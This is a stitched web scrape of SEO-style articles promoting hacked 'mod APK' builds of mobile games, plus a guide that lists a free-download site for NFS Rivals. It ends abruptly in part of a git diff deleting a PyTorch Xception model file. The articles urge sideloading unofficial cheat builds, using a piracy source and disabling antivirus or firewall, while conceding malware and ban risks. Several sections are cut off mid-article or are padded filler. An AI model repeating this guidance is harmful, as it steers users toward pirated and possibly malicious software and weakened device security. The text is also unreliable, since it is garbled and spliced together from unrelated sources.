        • Ban: Some games may detect if you are using a modified or hacked version of their app and ban you from accessing their online features or services. You may also lose your progress or account if you get banned.
          • -
        • Compatibility: Some APK files may not be compatible with your device or operating system version. This may cause errors, crashes, or glitches during the installation or gameplay.
          • -
        • Updates: Some APK files may not receive regular updates from their developers or sources. This may cause them to become outdated or incompatible with newer versions of the game or device.
          • -
        -

        How to Download and Install Hills of Steel Hack Mod Version 4.2 0 APK Home?

        -

        If you want to download and install Hills of Steel Hack Mod Version 4.2 0 APK Home on your Android device, you need to follow these steps:

        -

        Step 1: Enable unknown sources on your device

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        Before you can install any APK file on your device, you need to enable unknown sources in your settings. This will allow you to install apps from sources other than the Google Play Store. To do this, follow these steps:

        -
          -
        1. Go to your device's settings and tap on security or privacy.
          2. -
        2. Find the option that says unknown sources or install unknown apps and toggle it on.
          3. -
        3. You may see a warning message that says installing apps from unknown sources may harm your device. Tap on OK or allow to proceed.
          4. -
        -

        Step 2: Download the APK file from a trusted source

        -

        Next, you need to download the APK file of Hills of Steel Hack Mod Version 4.2 0 APK Home from a trusted source. You can search for it on Google or use any of the following links:

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        Make sure you download the file from a secure and reliable website that does not contain any malware or viruses. You can also scan the file with an antivirus program before installing it.

        -

        Step 3: Install the APK file on your device

        -

        Once you have downloaded the APK file, you need to install it on your device. To do this, follow these steps:

        -
          -
        1. Locate the APK file on your device's storage using a file manager app or your browser's downloads folder.
          2. -
        2. Tap on the APK file and you will see a prompt that asks you if you want to install this application. Tap on install to proceed.
          3. -
        3. You may see another prompt that asks you if you want to install this app from an unknown source. Tap on yes or continue to proceed.
          4. -
        4. Wait for the installation process to complete. You may see a progress bar or a notification that says installing.
          5. -
        5. Once the installation is done, you will see a message that says app installed or done. Tap on open to launch the game or done to exit.
          6. -
        -

        Step 4: Launch the game and enjoy

        -

        Now that you have installed Hills of Steel Hack Mod Version 4.2 0 APK Home on your device, you can launch the game and enjoy its features and benefits. You will see that you have unlimited coins and gems, and all the tanks are unlocked. You can also play offline and without ads. You can use these advantages to upgrade your tank, buy new weapons and customizations, and dominate the battlefield.

        -

        Tips and Tricks for Playing Hills of Steel Hack Mod Version 4.2 0 APK Home

        -

        Hills of Steel Hack Mod Version 4.2 0 APK Home is a fun and addictive game that will keep you entertained for hours. However, if you want to improve your skills and performance, you can follow these tips and tricks:

        -

        Choose your tank wisely

        -

        Hills of Steel Hack Mod Version 4.2 0 APK Home offers a variety of tanks with different abilities and stats. You should choose your tank based on your play style and preference. For example, if you like speed and agility, you can choose the Cobra or the Phoenix. If you like power and durability, you can choose the Mammoth or the Titan. If you like balance and versatility, you can choose the Joker or the Frosty.

        -

        Don't spam the fire button

        -

        Hills of Steel Hack Mod Version 4.2 0 APK Home allows you to fire unlimited bullets without reloading or overheating. However, this does not mean that you should spam the fire button all the time. You should aim carefully and fire strategically, as firing too much can affect your accuracy and stability. You should also consider the recoil and gravity of your bullets, as they can affect your trajectory and distance.

        -

        Earn rewards and upgrade your tank

        -

        Hills of Steel Hack Mod Version 4.2 0 APK Home gives you unlimited coins and gems, which you can use to buy new tanks, weapons, customizations, and upgrades. You should take advantage of this feature and upgrade your tank as much as possible. You can improve your tank's armor, engine, gun, ammo, turbo, shield, magnet, and more. You can also equip special weapons such as rockets, lasers, mines, flamethrowers, and nukes. These upgrades and weapons will help you deal more damage, survive longer, and collect more loot.

        -

        Conclusion

        -

        Hills of Steel Hack Mod Version 4.2 0 APK Home is a modified version of the original Hills of Steel game that offers unlimited coins, gems, and unlocked tanks. It also removes ads and allows you to play offline. You can download and install this version from various websites that offer APK files for Android devices. However, you should be careful of the risks involved, such as malware, ban, compatibility, and updates. You should also follow some tips and tricks for playing Hills of Steel Hack Mod Version 4.2 0 APK Home, such as choosing your tank wisely, not spamming the fire button, and earning rewards and upgrading your tank.

        -

        If you are looking for a fun and addictive physics-based tank action game that lets you race through the hills and crush your enemies with steel, you should give Hills of Steel Hack Mod Version 4.2 0 APK Home a try. You will enjoy its features and benefits that will enhance your gaming experience.

        -

        FAQs

        -

        Here are some frequently asked questions about Hills of Steel Hack Mod Version 4.2 0 APK Home:

        -
          -
        • Q: Is Hills of Steel Hack Mod Version 4.2 0 APK Home safe to use?
          • -
        • A: Hills of Steel Hack Mod Version 4.2 0 APK Home is not an official version of the game and may contain malware or viruses that can harm your device or steal your personal information. You should always scan any APK file you download with a reputable antivirus program before installing it.
          • -
        • Q: Is Hills of Steel Hack Mod Version 4.2 0 APK Home legal to use?
          • -
        • A: Hills of Steel Hack Mod Version 4.2 0 APK Home is not endorsed or authorized by Superplus Games or any other official source. It may violate the terms of service or policies of the game or the Google Play Store. You may face legal consequences or penalties if you use it.
          • -
        • Q: How can I update Hills of Steel Hack Mod Version 4.2 0 APK Home?
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        • A: Hills of Steel Hack Mod Version 4.2 0 APK Home may not receive regular updates from its developers or sources. You may have to download and install a newer version of the APK file from another website if you want to update it.
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        • Q: Can I play Hills of Steel Hack Mod Version 4.2 0 APK Home with other players online?
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        • A: Hills of Steel Hack Mod Version 4.2 0 APK Home may not be compatible with the online features or services of the original game. You may not be able to connect with other players online or join clans or leaderboards. You may also get banned from accessing these features or services if you use it.
          • -
        • Q: Can I restore my progress or account if I uninstall Hills of Steel Hack Mod Version 4.2 0 APK Home?
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        • A: Hills of Steel Hack Mod Version 4.2 0 APK Home may not sync with your Google Play account or cloud storage. You may lose your progress or account if you uninstall it or switch to another device.
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        Mini Militia Red Mod APK Unlimited Ammo and Nitro: Everything You Need to Know

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        If you are a fan of shooting games, you might have heard of Mini Militia. It is one of the most popular multiplayer games that you can play online or offline with your friends. In this game, you can choose from different weapons, maps, modes, and characters to have a thrilling battle experience. But what if you want to take your game to the next level? What if you want to have unlimited ammo and nitro, unlock all the pro features, and dominate your opponents? Well, there is a way to do that. It is called Mini Militia Red Mod APK.

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        The game has various weapons to choose from, such as pistols, shotguns, snipers, rockets, grenades, etc. You can also use jetpacks to fly around and dodge enemy fire. The game has different maps to explore, such as Outpost, Catacombs, High Tower, etc. The game has different modes to play, such as Deathmatch, Team Deathmatch, Capture the Flag, etc. The game also has a ranking system that shows your skill level and achievements.

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        What is Mini Militia Red Mod APK?

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        Mini Militia Red Mod APK is a modified version of the original game that gives you unlimited access to all the features and resources of the game. It is also known as Mini Militia Unlimited Ammo and Nitro Mod APK. This mod allows you to have unlimited ammo, nitro, health, and bombs. You can also unlock all the pro pack features, such as dual wield, extra avatar customization, and more. You can also remove the reload time, increase the bullet speed, and zoom up to 7x. You can also change the appearance of your character and weapons to red color.

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        This mod is created by some third-party developers who are not affiliated with the official game developers. This mod is not available on the Google Play Store or the App Store. You have to download it from a trusted source. This mod is compatible with Android and iOS devices. You can also play it on your PC using an emulator.

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        How to Download and Install Mini Militia Red Mod APK?

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        If you want to download and install Mini Militia Red Mod APK on your device, you have to follow these simple steps:

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        Mini Militia Red Mod APK has many features that make it different from the original game. Some of the main features are:

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        • Zoom Up to 7x: You can zoom up to 7x with any weapon. This helps you to aim better and snipe your enemies from a distance.
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        • Red Appearance: You can change the appearance of your character and weapons to red color. This makes you look more cool and intimidating.
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        How to Play Mini Militia Red Mod APK?

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        Playing Mini Militia Red Mod APK is similar to playing the original game. You can choose from different modes, maps, and weapons to play with. You can also customize your character and settings according to your preference. Here are some tips and tricks to play Mini Militia Red Mod APK:

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          -
        • Use Your Jetpack Wisely: Your jetpack is your best friend in this game. It allows you to fly around and dodge enemy fire. However, you should also be careful not to fly too high or too low, as you might get shot by snipers or fall into traps.
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        • Use Your Grenades Effectively: Your grenades are your best weapons in this game. They can cause massive damage and chaos to your enemies. However, you should also be careful not to throw them too close or too far, as you might hurt yourself or miss your target.
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        • Use Your Dual Wield Skillfully: Your dual wield feature allows you to use two weapons at the same time. This gives you more firepower and versatility. However, you should also be careful not to use two heavy or two light weapons, as you might lose balance or accuracy.
          • -
        • Use Your Zoom Smartly: Your zoom feature allows you to zoom up to 7x with any weapon. This helps you to aim better and snipe your enemies from a distance. However, you should also be careful not to zoom too much or too little, as you might lose sight or focus.
          • -
        • Use Your Red Appearance Stylishly: Your red appearance makes you look more cool and intimidating. It also helps you to stand out from the crowd and attract attention. However, you should also be careful not to expose yourself too much or too little, as you might become an easy target or miss an opportunity.
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        What are the Benefits of Playing Mini Militia Red Mod APK?

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        Playing Mini Militia Red Mod APK has many benefits that make it more fun and enjoyable than playing the original game. Some of the benefits are:

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        • More Fun: Playing with unlimited ammo and nitro, pro pack features, and red appearance makes the game more fun and exciting. You can unleash your creativity and experiment with different weapons, maps, and modes. You can also challenge yourself and your friends to see who is the best.
          • -
        • More Challenge: Playing with no reload time, bullet speed increased, and zoom up to 7x makes the game more challenging and competitive. You have to be more alert and skillful to survive and win. You can also face more difficult opponents who are also using the modded version of the game.
          • -
        • More Customization: Playing with extra avatar customization, red appearance, and any weapon in any map and mode makes the game more customizable and personalized. You can create your own unique character and style. You can also choose your own favorite weapon and map to play with.
          • -
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        What are the Drawbacks of Playing Mini Militia Red Mod APK?

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        Playing Mini Militia Red Mod APK also has some drawbacks that you should be aware of before playing it. Some of the drawbacks are:

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        If you are a fan of racing games, you might have heard of Need for Speed Rivals, or NFS Rivals for short. This is a thrilling game that lets you experience the adrenaline rush of street racing and chasing as either a cop or a racer. In this article, we will show you how to download NFS Rivals for PC, what are the requirements and compatibility, and how to install and set up the game on your device.

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        What is NFS Rivals?

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        NFS Rivals is a racing video game developed by Ghost Games and Criterion Games, and published by Electronic Arts in 2013. It is the 20th installment in the Need for Speed series, and the first one to feature a dynamic weather system and a day-night cycle. The game is set in a fictional open-world environment called Redview County, where you can choose to play as either a cop or a racer, each with their own objectives, vehicles, and upgrades. The game also features a seamless online multiplayer mode, where you can join or leave races at any time, and interact with other players in the same world.

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        Why should you play NFS Rivals?

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        NFS Rivals is a game that offers a lot of fun and excitement for racing enthusiasts. Here are some of the reasons why you should play NFS Rivals:

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        • You can enjoy a variety of cars, from exotic supercars to powerful muscle cars, each with their own performance and customization options.
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        • You can compete with your friends or other players online, and earn speed points that can be used to unlock new cars, upgrades, and liveries.
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        Requirements and Compatibility

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        Minimum and recommended system requirements

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        Before you download NFS Rivals for PC, you need to make sure that your device meets the minimum or recommended system requirements. Here are the specifications that you need to run the game smoothly:

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        OSProcessorMemoryStorageGraphics Card
        Windows 7 (Service Pack 2) 32-BitIntel 2.4 GHz Core 2 Duo or AMD 2.8 GHz Athlon X24 GB30 GBAMD Radeon 3870 512 MB or higher performance
        NVIDIA GeForce 8800 GT or higher performance
        Intel HD 4000 Integrated 512 MB or higher performance
        Windows 7 (Service Pack 2)Intel Quad-Core CPU or AMD Six Core CPU8 GB30 GBAMD Radeon 7870 3GB or higher performance
        NVIDIA GeForce GT660 3GB or higher performance
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        Supported platforms and devices

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        NFS Rivals is available for various platforms and devices, including PlayStation 4, PlayStation 3, Xbox One, Xbox 360, and PC. However, in this article, we will focus on how to download NFS Rivals for PC only. If you want to play the game on other platforms or devices, you can check the official website of the game or the online stores of the respective platforms.

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        Download Options and Sources

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        Steam

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        One of the most popular and convenient ways to download NFS Rivals for PC is through Steam, a digital distribution platform that offers thousands of games and other content. Steam also provides various features and benefits, such as cloud saving, achievements, multiplayer, and community support. To download NFS Rivals from Steam, you need to follow these steps:

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        1. Create a Steam account or log in to your existing one.
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        2. Download and install the Steam client on your PC.
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        3. Launch the Steam client and search for NFS Rivals in the store.
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        4. Purchase the game or add it to your cart if you have a gift card or a coupon.
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        5. Proceed to checkout and confirm your payment method.
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        6. Wait for the game to download and install on your PC.
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        7. Enjoy playing NFS Rivals!
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        The price of NFS Rivals on Steam is $19.99, but you can also get it on sale or with a discount from time to time. You can also check the reviews and ratings of the game from other users before buying it.

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        EA

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        Another option to download NFS Rivals for PC is through EA, the publisher of the game. EA has its own digital distribution platform called EA Desktop, which is similar to Steam but focuses on EA games and services. EA Desktop also offers features like cloud saving, achievements, multiplayer, and community support. To download NFS Rivals from EA, you need to follow these steps:

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        1. Create an EA account or log in to your existing one.
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        2. Download and install the EA Desktop app on your PC.
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        3. Launch the EA Desktop app and search for NFS Rivals in the store.
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        4. Purchase the game or add it to your library if you have an EA Play subscription or a coupon.
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        5. Wait for the game to download and install on your PC.
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        6. Enjoy playing NFS Rivals!
          7. -
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        The price of NFS Rivals on EA is $19.99, but you can also get it for free if you have an EA Play subscription, which costs $4.99 per month or $29.99 per year. You can also check the reviews and ratings of the game from other users before buying it.

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        GameTrex

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        A third option to download NFS Rivals for PC is through GameTrex, a website that offers free downloads of various games. GameTrex does not require any registration or payment, but it may have some drawbacks, such as ads, pop-ups, viruses, or malware. To download NFS Rivals from GameTrex, you need to follow these steps:

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        1. Visit the GameTrex website and search for NFS Rivals in the search bar.
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        2. Select the game from the results and click on the download button.
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        3. Choose a download server from the list and wait for the file to download on your PC.
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        4. Extract the file using WinRAR or 7-Zip.
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        5. Run the setup file and follow the instructions to install the game on your PC.
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        6. Enjoy playing NFS Rivals!
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        The size of NFS Rivals on GameTrex is 9.1 GB, which may take some time to download depending on your internet speed. You may also need to disable your antivirus or firewall before downloading or installing the game, as they may block or delete some files. You should also scan your PC for any potential threats after downloading or installing the game.

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        Installation and Setup Guide

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        How to install NFS Rivals from Steam

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        If you have downloaded NFS Rivals from Steam, you do not need to do anything else to install it, as Steam will do it automatically for you. However, you may need to adjust some settings or preferences before playing the game. Here are some tips on how to install NFS Rivals from Steam:

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        • You can change the installation directory of the game by clicking on Properties > Local Files > Move Install Folder in your Steam library.
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        • You can verify the integrity of the game files by clicking on Properties > Local Files > Verify Integrity of Game Files in your Steam library.
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        • You can change the language of the game by clicking on Properties > Language in your Steam library.
          • -
        • You can launch the game by clicking on Play in your Steam library or by creating a shortcut on your desktop.
          • -
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        How to install NFS Rivals from EAIf you have downloaded NFS Rivals from EA, you need to follow some steps to install it on your PC. EA Desktop will guide you through the installation process, but you can also customize some options according to your preferences. Here are some tips on how to install NFS Rivals from EA:

        -
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        • You can change the installation directory of the game by clicking on Settings > Game Library > Change Location in the EA Desktop app.
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        • You can pause or resume the download or installation of the game by clicking on the progress bar in the EA Desktop app.
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        • You can change the language of the game by clicking on Settings > Game Properties > Language in the EA Desktop app.
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        • You can launch the game by clicking on Play in the EA Desktop app or by creating a shortcut on your desktop.
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        How to install NFS Rivals from GameTrex

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        If you have downloaded NFS Rivals from GameTrex, you need to follow some steps to install it on your PC. GameTrex does not provide any instructions or support for the installation process, so you need to be careful and follow the steps correctly. Here are some tips on how to install NFS Rivals from GameTrex:

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        • You can change the installation directory of the game by selecting a different folder during the setup process.
          • -
        • You can check or uncheck the options to create a desktop icon or a start menu entry during the setup process.
          • -
        • You can change the language of the game by editing the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\EA Games\Need for Speed(TM) Rivals\Locale and changing the value to en_US, fr_FR, de_DE, es_ES, it_IT, pt_BR, ru_RU, pl_PL, or zh_TW.
          • -
        • You can launch the game by clicking on the desktop icon or the start menu entry, or by running NFS14.exe in the installation folder.
          • -
        -

        Conclusion

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        Summary of the main points

        -

        In this article, we have shown you how to download NFS Rivals for PC, what are the requirements and compatibility, and how to install and set up the game on your device. We have also compared three different download options and sources: Steam, EA, and GameTrex. Each option has its own advantages and disadvantages, so you can choose the one that suits you best. We hope that this article has been helpful and informative for you, and that you will enjoy playing NFS Rivals on your PC.

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        FAQs

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        Here are some of the frequently asked questions about NFS Rivals:

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        1. Q: How much space does NFS Rivals take on my PC?
          A: NFS Rivals requires 30 GB of free disk space on your PC, regardless of which download option or source you use.
          2. -
        2. Q: Can I play NFS Rivals offline?
          A: Yes, you can play NFS Rivals offline, but you will not be able to access some features and modes, such as online multiplayer, leaderboards, and speed points.
          3. -
        3. Q: Can I play NFS Rivals with a controller?
          A: Yes, you can play NFS Rivals with a controller, as long as it is compatible with your PC and has enough buttons. You can also customize the controller settings in the game options.
          4. -
        4. Q: How can I update NFS Rivals?
          A: If you have downloaded NFS Rivals from Steam or EA, you will receive automatic updates whenever they are available. If you have downloaded NFS Rivals from GameTrex, you will need to check their website for any updates or patches.
          5. -
        5. Q: How can I uninstall NFS Rivals?
          A: If you want to uninstall NFS Rivals from your PC, you can do so by using the uninstaller in the installation folder, or by using the add/remove programs feature in your control panel. You may also need to delete any leftover files or folders manually.
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        Truck Simulator Ultimate 1.2 7 APK Para Hilesi: How to Download and Play the Latest Version of the Game

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        Introduction

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        If you are a fan of truck simulation games, you might have heard of Truck Simulator Ultimate, one of the most realistic and immersive games in this genre. In this game, you can drive various trucks across different countries and cities, deliver cargo, manage your own company, and customize your vehicles. But what if you want to enjoy the game without any limitations or restrictions? That's where Truck Simulator Ultimate 1.2 7 APK Para Hilesi comes in handy.

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        What is Truck Simulator Ultimate?

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        Truck Simulator Ultimate is a mobile game developed by Zuuks Games, a Turkish studio that also created Bus Simulator: Ultimate and Car Parking Multiplayer. The game was released in July 2021 and has been downloaded over 10 million times on Google Play Store. The game features stunning graphics, realistic physics, dynamic weather, day and night cycle, traffic system, voice chat, multiplayer mode, and more. You can choose from over 100 trucks from famous brands like Mercedes-Benz, Volvo, Scania, MAN, Renault, and more. You can also customize your trucks with different paint jobs, accessories, engines, transmissions, tires, and more.

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        What is new in version 1.2 7?

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        The latest version of Truck Simulator Ultimate was released on October 18, 2021 and brought some new features and improvements to the game. Some of the highlights are:

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        • New trucks added: DAF XF105, DAF XF Euro6, Iveco Stralis Hi-Way
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        • New countries added: Poland, Czech Republic, Slovakia
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        • New cities added: Warsaw, Prague, Bratislava
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        • New roads added: A4 highway in Poland, D1 highway in Czech Republic
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        • New trailers added: Refrigerated trailer, tanker trailer
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        • New cargoes added: Frozen food, fuel
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        • New achievements added
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        • Bug fixes and performance improvements
          • -
        -

        What is para hilesi and why do you need it?

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        Para hilesi is a Turkish term that means money cheat or hack. It is a modded version of the game that gives you unlimited money and resources in the game. With para hilesi, you can buy any truck you want, upgrade it to the max level, hire as many drivers as you want, expand your company to any country or city you want, and more. You can also skip ads, unlock all achievements, and access all features of the game without spending any real money.

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        Para hilesi is useful for players who want to enjoy the game without any limitations or restrictions. It is also helpful for players who want to test different trucks or scenarios in the game without risking their progress or money. However, para hilesi is not an official version of the game and may not be compatible with future updates or patches. It may also cause some glitches or errors in the game or your device. Therefore, use it at your own risk and discretion.

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        How to download and install Truck Simulator Ultimate 1.2 7 APK Para Hilesi

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        If you want to download and install Truck Simulator Ultimate 1.2 7 APK Para Hilesi, you need to follow these steps:

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        Step 1: Find a reliable source for the APK file

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        The first thing you need to do is to find a trustworthy website that offers the APK file for Truck Simulator Ultimate 1.2 7 APK Para Hilesi. You can search for it on Google or use a link from a reputable source. For example, you can use this link to download the APK file from Mediafire, a popular file-sharing platform.

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        The next thing you need to do is to enable unknown sources on your device. This will allow you to install apps from sources other than the Google Play Store. To do this, go to your device settings, then security, then toggle on the option for unknown sources. You may also need to grant permission for your browser or file manager to install apps from unknown sources.

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        Step 3: Download and install the APK file

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        The third thing you need to do is to download and install the APK file. To do this, go to the link you found in step 1 and tap on the download button. Wait for the download to finish, then open the file with your file manager or browser. Tap on the install button and wait for the installation to complete.

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        Step 4: Launch the game and enjoy the para hilesi

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        The last thing you need to do is to launch the game and enjoy the para hilesi. To do this, go to your app drawer or home screen and tap on the Truck Simulator Ultimate icon. The game will start and you will see that you have unlimited money and resources in the game. You can now buy any truck you want, upgrade it to the max level, hire as many drivers as you want, expand your company to any country or city you want, and more.

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        How to play Truck Simulator Ultimate 1.2 7 APK Para Hilesi

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        If you want to play Truck Simulator Ultimate 1.2 7 APK Para Hilesi, you need to follow these tips:

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        Choose your truck and customize it

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        The first thing you need to do is to choose your truck and customize it. You can choose from over 100 trucks from famous brands like Mercedes-Benz, Volvo, Scania, MAN, Renault, and more. You can also customize your trucks with different paint jobs, accessories, engines, transmissions, tires, and more. You can use the para hilesi to buy any truck or customization you want without worrying about the cost.

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        Start your career as a truck driver

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        The next thing you need to do is to start your career as a truck driver. You can choose from different modes of gameplay: career mode, free mode, multiplayer mode, or custom mode. In career mode, you can take on various missions and contracts from different companies and deliver cargo across different countries and cities. In free mode, you can drive around freely and explore the map without any objectives or time limits. In multiplayer mode, you can join other players online and chat with them using voice chat. In custom mode, you can create your own scenarios and challenges using the map editor.

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        Explore different countries and cities

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        The third thing you need to do is to explore different countries and cities. You can drive across Europe, Asia, America, Africa, and Australia in the game. You can visit famous landmarks, historical sites, natural wonders, and more. You can also experience different weather conditions, traffic situations, road types, and more. You can use the para hilesi to travel to any country or city you want without worrying about the distance or fuel.

        Manage your company and hire other drivers

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        The fourth thing you need to do is to manage your company and hire other drivers. You can create your own company and name it as you wish. You can also buy or rent different garages and offices in different countries and cities. You can hire other drivers and assign them to different trucks and routes. You can also monitor their performance and earnings. You can use the para hilesi to grow your company and hire as many drivers as you want without worrying about the budget.

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        Use the para hilesi to get unlimited money and resources

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        The fifth thing you need to do is to use the para hilesi to get unlimited money and resources. You can use the money to buy any truck or customization you want, travel to any country or city you want, expand your company and hire as many drivers as you want, and more. You can also use the resources to repair your truck, refuel your tank, pay tolls, fines, taxes, and more. You can also use the para hilesi to skip ads, unlock all achievements, and access all features of the game without spending any real money.

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        Conclusion

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        Truck Simulator Ultimate 1.2 7 APK Para Hilesi is a modded version of the game that gives you unlimited money and resources in the game. It allows you to enjoy the game without any limitations or restrictions. You can download and install it by following the steps above. However, you should be careful when using it as it may not be compatible with future updates or patches. It may also cause some glitches or errors in the game or your device. Therefore, use it at your own risk and discretion.

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        FAQs

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        Here are some frequently asked questions about Truck Simulator Ultimate 1.2 7 APK Para Hilesi:

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        1. Is Truck Simulator Ultimate 1.2 7 APK Para Hilesi safe to use?
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          Truck Simulator Ultimate 1.2 7 APK Para Hilesi is not an official version of the game and may not be safe to use. It may contain viruses, malware, spyware, or other harmful elements that may damage your device or compromise your privacy. It may also violate the terms of service of the game or the Google Play Store. Therefore, use it at your own risk and discretion.

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        2. Is Truck Simulator Ultimate 1.2 7 APK Para Hilesi legal to use?
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          Truck Simulator Ultimate 1.2 7 APK Para Hilesi is not legal to use as it modifies the original game and gives you an unfair advantage over other players. It may also infringe the intellectual property rights of the game developers or publishers. Therefore, use it at your own risk and discretion. -

        3. Will Truck Simulator Ultimate 1.2 7 APK Para Hilesi work on my device?
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          Truck Simulator Ultimate 1.2 7 APK Para Hilesi may not work on all devices as it may not be compatible with your device specifications or operating system. It may also require additional permissions or settings that may not be available on your device. Therefore, use it at your own risk and discretion. -

        4. Will Truck Simulator Ultimate 1.2 7 APK Para Hilesi affect my progress or data in the game?
          5. -

          Truck Simulator Ultimate 1.2 7 APK Para Hilesi may affect your progress or data in the game as it may overwrite or corrupt your existing files or data in the game. It may also prevent you from saving or loading your progress or data in the game. It may also prevent you from syncing your progress or data with the cloud or other devices. Therefore, use it at your own risk and discretion. -

        5. Can I play Truck Simulator Ultimate 1.2 7 APK Para Hilesi online with other players?
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          Truck Simulator Ultimate 1.2 7 APK Para Hilesi may not allow you to play online with other players as it may not be compatible with the online servers or features of the game. It may also cause some errors or issues in the online gameplay or chat system of the game. It may also get you banned from the online mode of the game for using a modded version of the game. Therefore, use it at your own risk and discretion. -

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        What are some tips and tricks for playing word find game?

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        How can I create my own puzzles with word find game?

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        - : https://www.wordfindgame.com/ : https://play.google.com/store/apps/details?id=com.wordsearch.puzzle : https://apps.apple.com/us/app/word-search-puzzles/id284752322 : https://www.facebook.com/wordfindgame : https://twitter.com/wordfindgame : https://www.instagram.com/wordfindgame/

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        \ No newline at end of file diff --git a/spaces/cooelf/Multimodal-CoT/timm/models/gluon_xception.py b/spaces/cooelf/Multimodal-CoT/timm/models/gluon_xception.py deleted file mode 100644 index fbd668a585e676726a7a6f8bd43642e57e4566e2..0000000000000000000000000000000000000000 --- a/spaces/cooelf/Multimodal-CoT/timm/models/gluon_xception.py +++ /dev/null @@ -1,246 +0,0 @@ -"""Pytorch impl of Gluon Xception -This is a port of the Gluon Xception code and weights, itself ported from a PyTorch DeepLab impl. - -Gluon model: (https://gluon-cv.mxnet.io/_modules/gluoncv/model_zoo/xception.html) -Original PyTorch DeepLab impl: https://github.com/jfzhang95/pytorch-deeplab-xception - -Hacked together by / Copyright 2020 Ross Wightman -""" -from collections import OrderedDict - -import torch.nn as nn -import torch.nn.functional as F - -from timm.data import IMAGENET_DEFAULT_MEAN, IMAGENET_DEFAULT_STD -from .helpers import build_model_with_cfg -from .layers import create_classifier, get_padding -from .registry import register_model - -__all__ = ['Xception65'] - -default_cfgs = { - 'gluon_xception65': { - 'url': 'https://github.com/rwightman/pytorch-image-models/releases/download/v0.1-weights/gluon_xception-7015a15c.pth', - 'input_size': (3, 299, 299), - 'crop_pct': 0.903, - 'pool_size': (10, 10), - 'interpolation': 'bicubic', - 'mean': IMAGENET_DEFAULT_MEAN, - 'std': IMAGENET_DEFAULT_STD, - 'num_classes': 1000, - 'first_conv': 'conv1', - 'classifier': 'fc' - # The resize parameter of the validation transform should be 333, and make sure to center crop at 299x299 - }, -} - -""" PADDING NOTES -The original PyTorch and Gluon impl of these models dutifully reproduced the -aligned padding added to Tensorflow models for Deeplab. This padding was compensating -for Tensorflow 'SAME' padding. PyTorch symmetric padding behaves the way we'd want it to. -""" - - -class SeparableConv2d(nn.Module): - def __init__(self, inplanes, planes, kernel_size=3, stride=1, dilation=1, bias=False, norm_layer=None): - super(SeparableConv2d, self).__init__() - self.kernel_size = kernel_size - self.dilation = dilation - - # depthwise convolution - padding = get_padding(kernel_size, stride, dilation) - self.conv_dw = nn.Conv2d( - inplanes, inplanes, kernel_size, stride=stride, - padding=padding, dilation=dilation, groups=inplanes, bias=bias) - self.bn = norm_layer(num_features=inplanes) - # pointwise convolution - self.conv_pw = nn.Conv2d(inplanes, planes, kernel_size=1, bias=bias) - - def forward(self, x): - x = self.conv_dw(x) - x = self.bn(x) - x = self.conv_pw(x) - return x - - -class Block(nn.Module): - def __init__(self, inplanes, planes, stride=1, dilation=1, start_with_relu=True, norm_layer=None): - super(Block, self).__init__() - if isinstance(planes, (list, tuple)): - assert len(planes) == 3 - else: - planes = (planes,) * 3 - outplanes = planes[-1] - - if outplanes != inplanes or stride != 1: - self.skip = nn.Sequential() - self.skip.add_module('conv1', nn.Conv2d( - inplanes, outplanes, 1, stride=stride, bias=False)), - self.skip.add_module('bn1', norm_layer(num_features=outplanes)) - else: - self.skip = None - - rep = OrderedDict() - for i in range(3): - rep['act%d' % (i + 1)] = nn.ReLU(inplace=True) - rep['conv%d' % (i + 1)] = SeparableConv2d( - inplanes, planes[i], 3, stride=stride if i == 2 else 1, dilation=dilation, norm_layer=norm_layer) - rep['bn%d' % (i + 1)] = norm_layer(planes[i]) - inplanes = planes[i] - - if not start_with_relu: - del rep['act1'] - else: - rep['act1'] = nn.ReLU(inplace=False) - self.rep = nn.Sequential(rep) - - def forward(self, x): - skip = x - if self.skip is not None: - skip = self.skip(skip) - x = self.rep(x) + skip - return x - - -class Xception65(nn.Module): - """Modified Aligned Xception. - - NOTE: only the 65 layer version is included here, the 71 layer variant - was not correct and had no pretrained weights - """ - - def __init__(self, num_classes=1000, in_chans=3, output_stride=32, norm_layer=nn.BatchNorm2d, - drop_rate=0., global_pool='avg'): - super(Xception65, self).__init__() - self.num_classes = num_classes - self.drop_rate = drop_rate - if output_stride == 32: - entry_block3_stride = 2 - exit_block20_stride = 2 - middle_dilation = 1 - exit_dilation = (1, 1) - elif output_stride == 16: - entry_block3_stride = 2 - exit_block20_stride = 1 - middle_dilation = 1 - exit_dilation = (1, 2) - elif output_stride == 8: - entry_block3_stride = 1 - exit_block20_stride = 1 - middle_dilation = 2 - exit_dilation = (2, 4) - else: - raise NotImplementedError - - # Entry flow - self.conv1 = nn.Conv2d(in_chans, 32, kernel_size=3, stride=2, padding=1, bias=False) - self.bn1 = norm_layer(num_features=32) - self.act1 = nn.ReLU(inplace=True) - - self.conv2 = nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1, bias=False) - self.bn2 = norm_layer(num_features=64) - self.act2 = nn.ReLU(inplace=True) - - self.block1 = Block(64, 128, stride=2, start_with_relu=False, norm_layer=norm_layer) - self.block1_act = nn.ReLU(inplace=True) - self.block2 = Block(128, 256, stride=2, start_with_relu=False, norm_layer=norm_layer) - self.block3 = Block(256, 728, stride=entry_block3_stride, norm_layer=norm_layer) - - # Middle flow - self.mid = nn.Sequential(OrderedDict([('block%d' % i, Block( - 728, 728, stride=1, dilation=middle_dilation, norm_layer=norm_layer)) for i in range(4, 20)])) - - # Exit flow - self.block20 = Block( - 728, (728, 1024, 1024), stride=exit_block20_stride, dilation=exit_dilation[0], norm_layer=norm_layer) - self.block20_act = nn.ReLU(inplace=True) - - self.conv3 = SeparableConv2d(1024, 1536, 3, stride=1, dilation=exit_dilation[1], norm_layer=norm_layer) - self.bn3 = norm_layer(num_features=1536) - self.act3 = nn.ReLU(inplace=True) - - self.conv4 = SeparableConv2d(1536, 1536, 3, stride=1, dilation=exit_dilation[1], norm_layer=norm_layer) - self.bn4 = norm_layer(num_features=1536) - self.act4 = nn.ReLU(inplace=True) - - self.num_features = 2048 - self.conv5 = SeparableConv2d( - 1536, self.num_features, 3, stride=1, dilation=exit_dilation[1], norm_layer=norm_layer) - self.bn5 = norm_layer(num_features=self.num_features) - self.act5 = nn.ReLU(inplace=True) - self.feature_info = [ - dict(num_chs=64, reduction=2, module='act2'), - dict(num_chs=128, reduction=4, module='block1_act'), - dict(num_chs=256, reduction=8, module='block3.rep.act1'), - dict(num_chs=728, reduction=16, module='block20.rep.act1'), - dict(num_chs=2048, reduction=32, module='act5'), - ] - - self.global_pool, self.fc = create_classifier(self.num_features, self.num_classes, pool_type=global_pool) - - def get_classifier(self): - return self.fc - - def reset_classifier(self, num_classes, global_pool='avg'): - self.num_classes = num_classes - 